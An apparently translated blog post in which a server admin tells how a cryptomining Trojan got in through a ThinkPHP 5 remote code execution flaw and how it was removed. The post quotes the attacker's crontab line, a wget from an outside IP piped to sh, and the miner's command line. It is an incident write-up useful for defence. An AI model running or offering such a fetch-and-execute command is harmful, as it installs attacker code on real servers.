Trojan removal experience: Dealing with a Trojan that exploited thinkphp5 remote code execution vulnerability

Yesterday I discovered that a server was suddenly slow The top shows that more than 100% of the CPU usage of several processes is

The execution command is:

/tmp/php  -s /tmp/p2.conf

It is basically certain that it has been hung

The next step is to determine the source

last No login record

Kill these processes first, but they appear again after a few minutes

Let’s see what this Trojan wants to do first

netstat See This Trojan opened a port and established a connection with a certain IP abroad

But tcpdump did not find any data transfer for a while

What did he want to do?

Continue to check the log

I found in the cron log that the www user has a crontab timing operation, which is basically the problem

wget -q -O - http://83.220.169.247/cr3.sh | sh > /dev/null 2>&1

I downloaded a few problems and took a look. It seems to be a mining Trojan program

The www user on the server was created by installing lnmp. Looking at the source, it is probably a web vulnerability.

Look at the permissions of php under /tmp is www

Check the logs of several sites under lnmp and find that it is using the remote code execution vulnerability recently exposed in thinkphp 5

Vulnerability details: https://nosec.org/home/detail/2050.html

Fix the problem and solve it

But this site is a test site and the port listening is 8083. Could it be that hackers are now Can you start sniffing unconventional ports?

Source: https://www.simapple.com/425.html